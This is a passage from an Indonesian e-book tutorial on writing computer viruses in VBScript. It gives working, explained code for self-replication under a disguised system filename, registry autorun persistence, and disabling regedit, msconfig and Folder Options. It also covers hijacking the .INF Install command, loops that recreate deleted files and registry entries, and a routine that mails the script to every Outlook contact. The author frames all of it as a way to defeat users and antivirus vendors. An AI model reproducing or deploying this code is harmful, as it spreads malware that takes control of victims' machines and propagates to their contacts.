“C:\DOCUME~1\WAHYUP~1\LOCALS~1\Temp” yang merupakan short

22

Page 25: Pemrograman Virus Menggunakan Vbscript

filename dari “C:\Documents and Settings\Wahyu Primadi\Local

Settings\Temp”.

• Target = FolderLain.SpecialFolders("Desktop") Perintah pada baris ini akan menghasilkan alamat path folder “Desktop”. Jika

script tersebut dijalankan variabel “Target” akan berisi alamat path folder

“Desktop”.

• Target = FolderLain.SpecialFolders("AllUsersStartMenu")

Perintah pada baris ini akan menghasilkan alamat path folder “Start Menu”

untuk seluruh user (All Users).

• Target = FolderLain.SpecialFolders("Programs") Baris perintah ini akan menghasilkan alamat path folder “Programs” pada Start

Menu untuk user yang sedang aktif (Current User).

• Target = FolderLain.SpecialFolders("MyDocuments")

Baris perintah ini akan menghasilkan alamat path folder “My Documents” dari

user yang sedang aktif (Current User).

• Target = FolderLain.SpecialFolders("Startup") Perintah ini akan menghasilkan alamat path folder “Startup” pada Start Menu

dari user yang sedang aktif (Current User).

• Target = FolderLain.SpecialFolders("AllUsersPrograms")

Perintah ini akan menghasilkan alamat path folder “Programs” pada Start

Menu untuk seluruh user (All Users).

• Target = FolderLain.SpecialFolders("AllUsersStartup") Baris perintah ini akan menghasilkan alamat path folder “Startup” pada Start

Menu untuk seluruh user (All Users).

• Target = FolderLain.SpecialFolders("Favorites")

Baris perintah ini akan menghasilkan alamat path folder “Favorites” dari user

yang sedang aktif (Current User).

• Target = FolderLain.SpecialFolders("AppData") Perintah ini akan menghasilkan alamat path folder “Application Data” dari user

yang sedang aktif (Current User).

23

Page 26: Pemrograman Virus Menggunakan Vbscript

• Target = FolderLain.SpecialFolders("Recent")

Baris perintah ini akan menghasilkan alamat path folder “Recent” dari user

yang sedang aktif (Current User).

• Target = WScript.ScriptFullName

Jika perintah pada baris-baris sebelumnya akan menghasilkan alamat folder-

folder system, namun pada baris ini akan menghasilkan alamat folder tempat

script tersebut dijalankan lengkap beserta nama file-nya. Sebagai contoh,

penulis menyimpan script ini pada folder “D:\Publish\E-Book\Virus” dengan

nama file “ScriptSpecialFolder.vbs”, maka jika dijalankan variabel “Target”

akan berisi “D:\Publish\E-Book\Virus\ScriptSpecialFolder.vbs”.

3.4 Anti Error

Dalam membuat virus wajib hukumnya untuk menghindari error atau runtime-error

yang terjadi saat virus berjalan. Karena jika terjadi error maka interpreter akan

memunculkan dialogbox runtime-error dan virus akan berhenti berjalan. Hal

tersebut tentunya tidak bagus untuk kesehatan virus kita dan dapat menimbulkan

kecurigaan user saat dialogbox runtime-error tampil.

Gambar 3.3: DialogBox Runtime Error

Untuk mengatasi permasalahan tersebut anda dapat menggunakan perintah “On

Error Resume Next” yang berfungsi untuk mengabaikan error jika ada error yang

terjadi dan melanjutkan eksekusi ke perintah selanjutnya. Perintah tersebut

diletakan paling atas pada script, berikut contoh penggunaannya jika digabungkan

dengan script sebelumnya :

24

Page 27: Pemrograman Virus Menggunakan Vbscript

Dim Target

Dim FSO

On Error Resume Next

Set FSO = CreateObject("Scripting.FileSystemObject")

'Windows Folder :

Target = FSO.GetSpecialFolder(0)

'Windows System Folder :

Target = FSO.GetSpecialFolder(1)

'Windows Temp Folder :

Target = FSO.GetSpecialFolder(2)

Perhatikan baris script yang berwarna merah dan tercetak tebal, disitulah perintah

“On Error Resume Next” diletakan. Dengan demikian script virus anda akan

terbebas dari runtime-error dan akan terus berjalan sampai akhir script.

3.5 Penggandaan Diri

Metode penggandaan diri ini sudah menjadi “pakem” dalam dunia per-virus-an.

Hampir (atau dapat dikatan semua) virus yang beredar menggunakan metode ini

untuk menyimpan copy dirinya ke komputer host / target dan biasanya dengan nama

file yang disamarkan sehingga user akan mengira file virus tersebut adalah bagian

dari sistem operasi.

File copy virus tersebutlah yang akan aktif dan terus bekerja setiap kali komputer

dihidupkan dengan cara membuat fasilitas AutoRun pada sistem Windows. Fasilitas

AutoRun ini akan dibahas pada bagian berikutnya.

Pada metode penggandaan diri ini biasanya virus membuat copy dirinya sendiri

pada folder sistem seperti folder Windows dan Windows\system. Berikut akan

diberikan contoh script-nya :

25

Page 28: Pemrograman Virus Menggunakan Vbscript

Dim FSO

Dim BodyVirus

Dim IsiVirus

On Error Resume Next

Set FSO = CreateObject("Scripting.FileSystemObject")

'Buka dan Baca Dirinya Sendiri

Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName)

'Simpan Dalam Variabel IsiVirus

IsiVirus = BodyVirus.ReadAll

BodyVirus.Close

'Copy Dirinya Sendiri Ke Folder Windows

Set BodyVirus = FSO.CreateTextFile(FSO.GetSpecialFolder(0) &

"\mskernel32.dll.vbs")

BodyVirus.Write IsiVirus

BodyVirus.Close

Pada contoh script diatas, program akan mencoba untuk meng-copy dirinya sendiri

ke folder Windows (defaultnya adalah “C:\Windows”) dengan nama file

“mskernel32.dll.vbs”. Untuk lebih jelasnya berikut akan diberikan keterangan dari

tiap-tiap baris script tersebut :

• Dim FSO

Baris ini merupakan perintah untuk mendeklarasikan variabel bernama “FSO”.

• Dim BodyVirus Sama seperti baris sebelumnya yaitu merupakan perintah untuk

mendeklarasikan variabel bernama “BodyVirus”.

• Dim IsiVirus

Baris ini juga merupakan perintah untuk mendeklarasikan variabel dengan nama

“IsiVirus”.

26

Page 29: Pemrograman Virus Menggunakan Vbscript

• On Error Resume Next

Seperti telah dijelaskan pada sub-bab sebelumnya (3.4 Anti Error), perintah ini

berfungsi untuk mengabaikan error jika ada error yang terjadi selama runtime,

dan jika ada error yang terjadi interpreter secara otomatis akan melanjutkan

eksekusi script pada baris berikutnya.

• Set FSO = CreateObject("Scripting.FileSystemObject")

Baris ini berisi perintah untuk mengeset variabel “FSO” sebagai objek

“Scripting.FileSystemObject”.

• Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName) Baris ini berfungsi untuk mengeset variabel “BodyVirus” sebagai objek file dan

sekaligus melakukan pembukaan / pembacaan file (FSO.OpenTextFile).

Adapun file yang dibuka / dibaca adalah file dirinya sendiri

(WScript.ScriptFullName), dengan kata lain script tersebut akan membuka

dan membaca dirinya sendiri (WScript.ScriptFullName).

WScript.ScriptFullName akan memberikan nilai kembalian (Return Value)

berupa alamat path beserta nama file script yang dijalankan tersebut. Jika

kurang jelas baca lagi sub-bab 3.3 Mendapatkan Special Folder.

• IsiVirus = BodyVirus.ReadAll

Perintah pada baris ini berfungsi untuk mengisi variabel “IsiVirus” dengan isi

dirinya sendiri yang pada baris sebelumnya telah dibuka. Perintah

“BodyVirus.ReadAll” berfungsi untuk membaca keseluruhan isi file yang

dalam contoh ini adalah file dirinya sendiri.

• BodyVirus.Close Baris ini berfungsi untuk menutup file yang sebelumnya telah dibuka dan

dibaca.

• Set BodyVirus = FSO.CreateTextFile(FSO.GetSpecialFolder(0) &

"\mskernel32.dll.vbs") Baris ini harus ditulis dalam satu baris. Maksud dari perintah ini adalah

mengeset variabel “BodyVirus” sebagai objek file dan sekaligus membuat

sebuah file baru yang ditandai dengan perintah FSO.CreateTextFile.

27

Page 30: Pemrograman Virus Menggunakan Vbscript

sedangkan perintah FSO.GetSpecialFolder(0) akan menghasilkan alamat path

folder Windows (C:\Windows). Jadi file akan dibuat pada folder Windows

dengan nama file “mskernel32.dll.vbs” yang ditandai dengan string

“\mskernel32.dll.vbs”.

• BodyVirus.Write IsiVirus Perintah pada baris ini berfungsi untuk menulis file yang dibuat tersebut

(“mskernel32.dll.vbs”) dengan isi dari variabel “IsiVirus” yang mana variabel

“IsiVirus” tersebut berisikan script ini sendiri (dirinya sendiri) yang mana

variabel “IsiVirus” tersebut telah diisikan pada perintah “IsiVirus =

BodyVirus.ReadAll” pada perintah sebelumnya.

• BodyVirus.Close

Baris ini berfungsi untuk menutup file yang sebelumnya dibuka dan ditulis

menggunakan perintah “Set BodyVirus =

FSO.CreateTextFile(FSO.GetSpecialFolder(0) & “\mskernal32.dll.vbs”)”.

Setelah anda melihat script tersebut diatas, anda mungkin bertanya-tanya mengapa

script programnya terlalu berbelit? Bukankah proses tersebut hampir sama atau

mirip dengan proses copy? Mengapa tidak menggunakan fungsi copy saja agar

script programnya lebih ringkas? Mengapa, mengapa dan mengapa? Tanya kenapa?

Pertanyaan tersebut ada benarnya, proses tersebut bisa dikatakan sama dengan

proses copy biasa. Lalu mengapa yang saya berikan adalah cara yang begitu

berbelit? Hal tersebut dilakukan karena pada bab berikutnya kita akan membahas

teknik anti-deletion (anti penghapusan) yang mana script tersebut diatas merupakan

salah satu bagian dari teknik anti-deletion tersebut.

Dengan menggunakan cara seperti tersebut diatas, sangat dimungkinkan program

meng-copy-kan dirinya sendiri atau bahkan membuat atau membangun ulang

dirinya sendiri WALAUPUN FILE PROGRAMNYA SUDAH DIHAPUS. Hal

tersebut dimungkinkan karena program tersebut membaca dirinya sendiri dan

menyimpannya di memory. Keren banget kan ☺.

28

Page 31: Pemrograman Virus Menggunakan Vbscript

Dan juga, jika anda menggunakan fungsi copy lalu ternyata file sumber sudah

terhapus atau dihapus maka program akan menghasilkan runtime-error yang

mengakibatkan gagalnya peng-copy-an file dan dengan demikian proses

penggandaan diri pun ikut gagal. Namun jika anda tetap ingin melakukan metode

penggandaan diri menggunakan fungsi copy berikut adalah contoh script-nya :

'Penggandaan Diri Menggunakan Fungsi Copy :

Dim FSO

Set FSO = CreateObject("Scripting.FileSystemObject")

FSO.CopyFile WScript.ScriptFullName, FSO.GetSpecialFolder(0) &

"\mskernel32.dll.vbs", True

Dimana penjelasan script-nya adalah sebagai berikut, proses copy dilakukan pada

baris keempat dengan memanggil fungsi copy “FSO.CopyFile” dan sintaks yang

digunakan adalah “FSO.CopyFile (FileSumber, FileTujuan, [OverWrite])”

dimana “FileSumber” merupakan alamat path file asal yang mau di-copy dan

“FileTujuan” adalah alamat path tujuan file sedangkan “OverWrite” merupakan

tidakan yang harus dilakukan jika file tujuan ternyata sudah ada, nilainya adalah

TRUE atau FALSE. Jika “OverWrite” diataur TRUE maka overwrite akan

dilakukan jika file tujuan telah ada namun jika diatur FALSE overwrite tidak akan

dilakukan jika file tujuan sudah ada.

Gambar 3.4: File BackUp Virus (“mskernel32.dll.vbs”) Hasil Penggandaan Diri

29

Page 32: Pemrograman Virus Menggunakan Vbscript

3.6 Fasilitas AutoRun

Yang dimaksud AutoRun disini adalah kemampuan sebuah program untuk dapat

berjalan secara otomatis saat Windows start-up. Kebanyakan program-program

virus dan antivirus menggunakan fasilitas ini sehingga dapat secara otomatis

berjalan ketika Windows start-up.

Fasilitas ini disediakan oleh sistem operasi Microsoft Windows melalui beberapa

cara yang diantaranya adalah :

1. [Registry HKEY_CURRENT_USER]

Key : Software\Microsoft\Windows\CurrentVersion\Run

Value : [Bebas]

Value Data : [[wscript.exe] [Alamat Path ke Program] [%]]

Contoh : wscript.exe C:\Windows\Virus.vbs %

Value Type : String

Info : AutoRun terpengaruh user yang login.

2. [Registry HKEY_CURRENT_USER]

Key : Software\Microsoft\Windows\CurrentVersion\RunOnce

Value : [Bebas]

Value Data : [[wscript.exe] [Alamat Path ke Program] [%]]

Contoh : wscript.exe C:\Windows\Virus.vbs %

Value Type : String

Info : AutoRun pertama kali terpengaruh user yang login.

3. [Registry HKEY_LOCAL_MACHINE]

Key : Software\Microsoft\Windows\CurrentVersion\Run

Value : [Bebas]

Value Data : [[wscript.exe] [Alamat Path ke Program] [%]]

Contoh : wscript.exe C:\Windows\Virus.vbs %

Value Type : String

Info : AutoRun tanpa terpengaruh user yang login.

30

Page 33: Pemrograman Virus Menggunakan Vbscript

4. [Registry HKEY_LOCAL_MACHINE]

Key : Software\Microsoft\Windows\CurrentVersion\RunOnce

Value : [Bebas]

Value Data : [[wscript.exe] [Alamat Path ke Program] [%]]

Contoh : wscript.exe C:\Windows\Virus.vbs %

Value Type : String

Info : AutoRun pertama kali tanpa terpengaruh user yang login.

5. [Registry HKEY_LOCAL_MACHINE]

Key : Software\Microsoft\Windows NT\CurrentVersion\Winlogon

Value : Shell

Value Data : Explorer.exe “[[wscript.exe] [Alamat Path ke Program] [%]]”

Contoh : Explorer.exe “wscript.exe C:\Windows\Virus.vbs %”

Value Type : String

Info : Tetap akan dijalankan walaupun saat SAFE MODE.

6. [StartUp Folder]

Path : %StartMenuPath%\Programs\Startup

Info : Buat Shortcut ke program atau copy file program.

Dari beberapa daftar fasilitas AutoRun tersebut yang paling penulis rekomendasikan

adalah dengan menggunakan daftar nomor tiga dan nomor lima

(HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

dan HKEY_LOCAL_MACHINE\Software\Microsoft\Windows

NT\CurrentVersion\Winlogon). Sedangkan cara untuk penulisan sama seperti yang

telah dijelaskan pada sub-bab 3.2 (Baca Tulis Registry Windows). Berikut akan

diberikan contoh script untuk membuat fasilitas AutoRun pada registry Windows :

Dim ObjReg

Set ObjReg = CreateObject("WScript.Shell")

'Buat AutoRun di Registry HKLM :

31

Page 34: Pemrograman Virus Menggunakan Vbscript

ObjReg.RegWrite

"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\mskernel32",

"wscript.exe " & WScript.ScriptFullName & " %"

Pada contoh tersebut akan membuat sebuah fasilitas AutoRun di registry pada key

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

dengan nama value “mskernel32” dan value data berisi “wscript.exe [alamat path

program] %”. Nama value menggunakan nama “mskernel32” tak lain dan tak

bukan adalah untuk keperluan penyamaran agar user mengira value tersebut

merupakan buatan sistem Windows. Berikut adalah tampilan hasilnya di registry :

Gambar 3.5: Key AutoRun Virus di Registry

3.7 Do…Loop Bikin Virus Tetap Hidup

Jika anda membuat program menggunakan VBScript dan menjalankannya maka

ketika interpreter sampai pada baris script terakhir dan mengeksekusinya program

akan berhenti karena baris script yang akan dieksekusi sudah habis. Hal tersebut

sangat tidak baik dalam pemrograman virus. Mengapa? Karena dalam konsep

pemrograman virus, virus harus aktif begitu Windows aktif dan terus aktif selama

Windows aktif.

Jadi untuk mengatasi permasalahan tersebut dan agar virus tidak mati jika kode

script telah selesai dieksekusi oleh interperter dapat digunakan perulangan

32

Page 35: Pemrograman Virus Menggunakan Vbscript

(looping) Do…Loop. Perulangan Do…Loop tersebut dimaksudkan untuk membuat

interpreter sibuk dan terus mengulang tanpa menemui batas akhir script. Berikut

adalah contoh script-nya :

Do

'Kode Script yang Diulang...

Loop

Simpelkan akan tetapi perulangan tersebut nantinya akan berhubungan dengan

teknik-teknik pemrograman virus tingkat lanjut seperti teknik anti deletion, teknik

anti registry deletion, teknik infeksi dan lain sebagainya yang akan dijelaskan dalam

bab selanjutnya.

33

Page 36: Pemrograman Virus Menggunakan Vbscript

BAB 4

Pemrograman Virus Tingkat Lanjut

Pada bab sebelumnya kita telah membahas mengenai dasar pemrograman virus yang

membahas mengenai perintah-perintah dasar yang sering digunakan dalam pemrograman

virus. Sedangkan pada bab ini kita akan membahas perintah-perintah dan teknik-teknik

yang lebih berat dibandingkan dengan perintah-printah yang terdapat pada bab

sebelumnya.

Ingat pembahasan kali ini lumayan berbahaya, penulis tidak bertanggung jawab atas

segala kerusakan yang terjadi, backup dulu semua konfigurasi sistem anda. Dan juga

penulis tidak peduli jika anda tidak mengerti dengan pembahasan ini ☺.

4.1 Disable Setting

Demi menjaga kelangsungan hidup virus yang kita buat pada komputer host, kita

harus menonaktifkan setting-setting yang dapat berpengaruh pada virus kita atau

dapat digunakan user untuk melumpuhkan virus kita. Untuk melakukannya

digunakan perintah tulis ke registry seperti yang telah dijelaskan pada bab

sebelumnya. Beberapa diantaranya adalah sebagai berikut :

• Menonaktifkan Registry Editor (Regedit.exe)

Menonaktifkan registry editor mungkin merupakan hal yang cukup penting dan

hampir semua virus (terutama virus lokal) melakukan hal ini. Dengan

melumpuhkan setting ini user menjadi tidak dapat mengakses registry editor

pada sistemnya sendiri. Berikut adalah contoh script-nya :

Dim ObjReg

Set ObjReg = CreateObject("WScript.Shell")

34

Page 37: Pemrograman Virus Menggunakan Vbscript

ObjReg.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Pol

icies\System\DisableRegistryTools", "1", "REG_DWORD"

ObjReg.RegWrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Po

licies\System\DisableRegistryTools", "1", "REG_DWORD"

Script tersebut akan menulis ke root key HKEY_CURRENT_USER dan

HKEY_LOCAL_MACHINE. Setelah script tersebut dijalankan seharusnya

registry editor sudah terkunci. Cobalah anda jalankan registry editor dan lihat

apa yang tampil, jika yang tampil pesan registry editor telah di-disable oleh

administrator berarti script yang anda tuliskan benar dan jika registry edit masih

muncul berarti terdapat kesalahan pada script anda.

Gambar 4.1: Registry Editor Telah Terkunci

• Menonaktifkan Microsoft System Configuration Utility (msconfig)

Berikutnya kita akan mencoba melumpuhkan msconfig dengan cara memasukan

alamat path fiktif pada App Paths di registry. Alamat path fiktif yang akan

dimasukan adalah “Z:\Alamat\Path\Fiktif\Bohong.exe” dan berikut adalah

contoh script-nya :

Dim ObjReg

Set ObjReg = CreateObject("WScript.Shell")

35

Page 38: Pemrograman Virus Menggunakan Vbscript

ObjReg.RegWrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ap

p Paths\MSCONFIG.EXE\", "Z:\Alamat\Path\Fiktif\Bohong.exe"

Simpan dan jalankan script tersebut lalu coba anda panggil msconfig melalui

fasilitas “Run” pada “Start Menu”. Jika yang tampil adalah pesan kesalahan

bahwa Windows tidak dapat menemukan msconfig berarti script yang anda

tuliskan sudah benar akan tetapi jika msconfig tetap tampil berarti ada kesalahan

dalam script anda.

Gambar 4.2: Msconfig Telah Dilumpuhkan

• Menonaktifkan Folder Options

Yang perlu dilumpuhkan selanjutnya adalah menu “Folder Options…” pada

Windows Explorer. Perhatikan gambar berikut saat menu tersebut belum

dilumpuhkan :

Gambar 4.3: Menu Folder Option Masih Aktif

36

Page 39: Pemrograman Virus Menggunakan Vbscript

Dan berikut adalah contoh script-nya untuk membuat menu “Folder

Options…” tersebut hilang dari daftar menu pada Windows Explorer :

Dim ObjReg

Set ObjReg = CreateObject("WScript.Shell")

ObjReg.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Pol

icies\Explorer\NoFolderOptions", "1", "REG_DWORD"

ObjReg.RegWrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Po

licies\Explorer\NoFolderOptions", "1", "REG_DWORD"

Setelah script tersebut dijalankan seharusnya menu “Folder Options…” akan

hilang, jika belum hilang coba restart komputer anda agar perubahan dijalankan.

Gambar 4.4: Menu Folder Options Sudah Hilang

37

Page 40: Pemrograman Virus Menggunakan Vbscript

• Menonaktifkan *.INF Install Menu

Menonaktifkan menu “Install” untuk file *.INF dapat dikatakan penting namun

juga tidak terlalu penting, nah lo bingungkan…??? Menjadi penting karena file

ini dapat digunakan untuk menghapus entri-entri virus yang kita buat pada

registry, seperti yang diterapkan oleh VAKSIN.COM (sebuah organisasi yang

selalu mengganggu kesenangan kita ☺), dan menjadi tidak penting karena kita

akan mempelajari teknik anti registry deletion yang dapat menghindari

penghapusan registry dengan cara tersebut. Berikut adalah script-nya :

Dim ObjReg

Set ObjReg = CreateObject("WScript.Shell")

ObjReg.RegWrite

"HKEY_CLASSES_ROOT\inffile\shell\Install\command\", "wscript.exe

" & WScript.ScriptFullName & " %"

Perhatikan, pada baris terakhir terdapat spasi diantara tulisan wscript.exe dan

tanda kutip (") dan juga terdapat spasi diantara tanda kutip (") dan tanda persen

(%). Jangan sampai salah menuliskannya, jika salah menu “Install” tetap akan

tidak berfungsi namun tidak sesuai dengan yang kita harapkan yaitu tidak akan

dapat menjalankan virus kita saat menu “Install” diklik oleh user.

Dengan demikian, setiap kali user melakukan klik kanan pada file *.INF dan

memilih menu “Install” maka bukannya setting pada file *.INF tersebut yang

terinstall namun malah virus kita yang akan dijalankan

4.2 Teknik Anti Deletion

Teknik ini digunakan untuk mengatasi penghapusan file virus oleh user. Dengan

menggunakan teknik ini, user yang belum berpengalaman (seperti teman saya yang

bernama Mario yang beralamat di Wisma Asri, Bekasi) akan mengalami kesulitan

untuk menghapus file virus. Pada dasarnya inti dari teknik ini sudah dibahas pada

38

Page 41: Pemrograman Virus Menggunakan Vbscript

bab 3 (3.5 “Penggandaan Diri” dan 3.7 “Do…Loop Bikin Virus Tetap Hidup”) dan

untuk menyempurnakannya kedua pembahasan tersebut digabungkan sehingga

menjadi sebuah teknik yang dalam pembahasan ini disebut dengan teknik anti

deletion. Ok, berikut adalah contoh script programnya :

Dim FSO

Dim BodyVirus

Dim IsiVirus

On Error Resume Next

Set FSO = CreateObject("Scripting.FileSystemObject")

'Buka dan Baca Dirinya Sendiri

Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName)

'Simpan Dalam Variabel IsiVirus

IsiVirus = BodyVirus.ReadAll

BodyVirus.Close

Do

'Periksa Apakah File Masih Ada ?

If FSO.FileExists(WScript.ScriptFullName) = False Then

'File Sudah Dihapus, Buat Lagi

Set BodyVirus = FSO.CreateTextFile(WScript.ScriptFullName)

BodyVirus.Write IsiVirus

BodyVirus.Close

'Kasih Pesan

Msgbox "Maaf... Jangan Dihapus Dong...", VBExclamation,

"Perhatian"

End If

Loop

Simpan script tersebut dengan nama (misalnya) “anti-deletion.vbs” dan jalankan.

Setelah anda jalankan, coba anda hapus file tersebut dan apa yang terjadi. Ya,

proses penghapusan berjalan sebagai mana mestinya namun file tersebut akan

muncul lagi dan malah menampilkan sebuah pesan berupa messagebox.

39

Page 42: Pemrograman Virus Menggunakan Vbscript

Algoritmanya adalah sebagai berikut, ketika pertama kali script tersebut berjalan

script tersebut akan membuka dan membaca dirinya sendiri yang lalu disimpan

dalam sebuah variabel memory bernama “IsiVirus”. Setelah proses tersebut script

akan terus aktif (karena terkena perintah perulangan Do…Loop) dan terus

memeriksa apakah dirinya masih ada atau tidak. Jika dirinya sudah tidak ada,

misalnya dihapus, script tersebut akan mencoba untuk membuat file dirinya sendiri

lagi dengan nama dan tempat yang sama lalu memunculkan pesan messagebox.

Adapun pesan messagebox tersebut akan tampil seperti pada gambar berikut :

Gambar 4.5: Messagebox yang Tampil Saat File Script Dihapus

Berikut akan diberikan penjelasan jalannya proses script baris-per-baris :

• Dim FSO

Baris ini merupakan deklarasi variabel bernama “FSO”.

• Dim BodyVirus Script pada baris ini juga merupakan sebuah deklarasi variabel, variabel yang

dideklarasikan bernama “BodyVirus”.

• Dim IsiVirus

Sama seperti pada dua baris sebelumnya hanya saja variabel yang

dideklarasikan bernama “IsiVirus”.

• On Error Resume Next Script pada baris ini berfungsi untuk mengabaikan error yang terjadi atau yang

akan terjadi. Maksudnya jika terjadi error setelah perintah tersebut maka error

akan diabaikan dan proses akan terus dilanjutkan pada script dibaris selanjutnya.

40

Page 43: Pemrograman Virus Menggunakan Vbscript

• Set FSO = CreateObject("Scripting.FileSystemObject")

Baris ini berfungsi untuk mengeset variabel “FSO” sebagai objek

“Scripting.FileSystemObject”.

• Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName)

Perintah pada baris ini berfungsi untuk mengeset variabel “BodyVirus” sebagai

objek “FSO.OpenTextFile” dan sekaligus membuka dirinya sendiri.

• IsiVirus = BodyVirus.ReadAll Baris ini berfungsi untuk mengisi variabel “IsiVirus” dengan dirinya sendiri

yang tadi telah dibuka pada baris sebelumnya. Dengan demikian seluruh script

pada file ini tersimpan pada memory yang diwakili oleh variabel “IsiVirus”.

• BodyVirus.Close

Script pada baris ini berfungsi untuk menutup file (file dirinya sendiri) yang tadi

telah dibuka pada dua baris sebelumnya.

• Do Perintah ini merupakan blok pembuka dari sebuah perulangan Do…Loop.

• If FSO.FileExists(WScript.ScriptFullName) = False Then

Script pada baris ini merupakan awal dari blok IF…End IF yang memiliki

pengkondisian untuk memeriksa apakah file dirinya sendiri masih ada atau

sudah tidak ada. Jika sudah tidak ada maka script yang berada didalam blok

IF…End IF akan dijalankan namun jika masih ada script yang berada didalam

blok IF…End IF tidak akan dijalankan.

• Set BodyVirus = FSO.CreateTextFile(WScript.ScriptFullName) Baris ini berfungsi untuk mengeset variabel “BodyVirus” sebagai objek

“FSO.CreateTextFile” yang berguna untuk membuat sebuah file text dan file

yang dibuat adalah dirinya sendiri.

• BodyVirus.Write IsiVirus

Script pada baris ini berfungsi untuk menulis file (yang telah dibuat pada script

baris sebelumnya) dengan isi variabel “IsiVirus” yang mana isi dari variabel

tersebut adalah script dirinya sendiri.

41

Page 44: Pemrograman Virus Menggunakan Vbscript

• BodyVirus.Close

Script ini berfungsi untuk menutup file yang telah dibuka dan ditulis pada dua

baris script sebelumnya.

• Msgbox "Maaf... Jangan Dihapus Dong...", VBExclamation,

"Perhatian" Perintah script tersebut berfungsi untuk menampilkan messagebox yang

memiliki tulisan “Maaf… Jangan Dihapus Dong…” yang memiliki icon tanda

seru (!) dan memiliki titlebar dengan tulisan “Perhatian”.

• End If

Baris script ini merupakan penutup dari blok IF…End IF.

• Loop Baris ini merupakan penutup dari blok perulangan Do…Loop.

4.3 Teknik Anti Registry Deletion

Teknik ini secara teknis hampir sama atau mirip dengan teknik anti deletion yang

telah dibahas pada sub-bab sebelumnya, hanya saja teknik ini digunakan untuk

mengatasi penghapusan entri-entri registry yang dibuat oleh script (dalam hal ini

virus). Dengan menggunakan teknik ini bukan berarti entri-entri buatan pada

registry tidak dapat dihapus hanya saja akan sedikit lebih sulit dan bahkan bikin

pusing bagi user yang belum berpengalaman (juga seperti teman saya Mario yang

tinggal di Wisma Asri, Bekasi).

Pada dasarnya inti dari teknik ini juga sudah dibahas pada bab 3 (3.2 “Baca Tulis

Registry Window” dan 3.7 “Do…Loop Bikin Virus Tetap Hidup”) dan untuk

membangun teknik ini anda tinggal menggabungkan kedua pembahasan dalam bab

3 tersebut. Berikut adalah contoh script programnya :

Dim ObjReg

On Error Resume Next

Set ObjReg = CreateObject("WScript.Shell")

42

Page 45: Pemrograman Virus Menggunakan Vbscript

'Tulis ke Registry

ObjReg.RegWrite "HKLM\Software\VBS.Tweety\Programmer", "Wahyu"

Do

'Tulis Lagi ke Registry

ObjReg.RegWrite "HKLM\Software\VBS.Tweety\Programmer", "Wahyu"

Loop

Ketika script tersebut dijalankan, program akan menulis entri ke registry dan akan

menulis lagi dan menulis lagi entri yang sama ke registry melalui blok perulangan

Do…Loop. Dengan demikian jika ada user yang menghapus entri tersebut secara

otomatis entri tersebut akan tertulis lagi tanpa sepengetahuan user tersebut.

4.4 Menyebar Melalui E-Mail

Sebenarnya teknik menyebar melalui e-mail ini merupakan salah satu teknik yang

keren pada saat-saat awal kemunculan virus yang ditulis menggunakan bahasa

VBScript. Namun sayangnya saat ini tingkat security pada produk-produk microsoft

telah di perketat dan hampir semua antivirus akan memblokir akses yang

memungkinkan program-program berbahaya seperti virus menyebarkan dirinya

dengan memanfaatkan e-mail client Outlook dan fungsi MAPI.

Mengacu pada penjelasan diatas, jangan terlalu berharap dari teknik menyebarkan

diri melalui e-mail ini. Disini kita hanya akan mempelajari caranya saja agar

mengerti bagaimana cara kerjanya dan supaya tidak “norak” sama teknik yang udah

“basi” ini ☺. Berikut adalah contoh script menyebar menggunakan e-mail :

InfeksiEmail

Function InfeksiEmail()

Set ObjEmail = CreateObject("Outlook.Application")

If ObjEmail = "Outlook" Then

Set ObjMapi = ObjEmail.GetNameSpace("MAPI")

Set DaftarAlamat = ObjMapi.AddressLists

43

Page 46: Pemrograman Virus Menggunakan Vbscript

For Each Alamat In DaftarAlamat

If Alamat.AddressEntries.Count <> 0 Then

JmlAlamat = Alamat.AddressEntries.Count

For i = 1 To JmlAlamat

Set ObjEmailItem = ObjEmail.CreateItem(0)

Set AlamatEmail = Alamat.AddressEntries(i)

ObjEmailItem.To = AlamatEmail.Address

ObjEmailItem.Subject = "INI SUBJECT"

ObjEmailItem.Body = "INI BODY E-MAIL"

Set AttachmentItem = ObjEmailItem.Attachments

ObjEmailItem.DeleteAfterSubmit = True

AttachmentItem.Add WScript.ScriptFullName

If ObjEmailItem.To <> "" Then

ObjEmailItem.Send

End If

Next

End If

Next

End If

End function

Teknik menyebar melalui e-mail tersebut pada script diatas diletakan dalam sebuah

fungsi (function) yang bernama “InfeksiEmail” yang dimulai dengan perintah

“Function InfeksiEmail()” dan diakhiri dengan perintah “End Function”. Dimana

fungsi tersebut dipanggil dan dijalankan pada baris pertama script yaitu

“InfeksiEmail”.

Dari script tersebut dapat diketahui bahwa untuk menyebarkan diri melalui e-mail

dilakukan dengan memanfaatkan aplikasi e-mail client Microsoft Outlook dan

44

Page 47: Pemrograman Virus Menggunakan Vbscript

menyebar keseluruh alamat e-mail yang terdapat pada daftar kontak Outlook. Dan

berikut adalah penjelasan script baris-per-baris :

• InfeksiEmail Baris ini merupakan script pemanggil fungsi “Function InfeksiEmail()”. Jadi

maksudnya fungsi “Function InfeksiEmail()” tersebut akan dieksekusi dan

dijalankan pada beris tersebut.

• Function InfeksiEmail()

Merupakan blok pembuka fungsi (function) yang mana fungsinya bernama

“InfeksiEmail”.

• Set ObjEmail = CreateObject("Outlook.Application") Baris ini mengeset variabel “ObjEmail” sebagai objek aplikasi Outlook. Bisa

dikatakan aplikasi Microsoft Outlook diwakilkan sebagai variabel “ObjEmail”

pada script ini.

• If ObjEmail = "Outlook" Then

Baris ini merupakan blok pembuka kondisi IF…End IF yang memeriksa isi

dari variabel “ObjEmail” dimana jika variabel “ObjEmail” tersebut berisi

“Outlook” maka script didalam blok IF…End IF tersebut akan dijalankan.

• Set ObjMapi = ObjEmail.GetNameSpace("MAPI") Baris ini mengeset variabel “ObjMapi” sebagai objek MAPI, dimana hampir

setiap e-mail client berbasis Windows menggunakan objek MAPI tersebut.

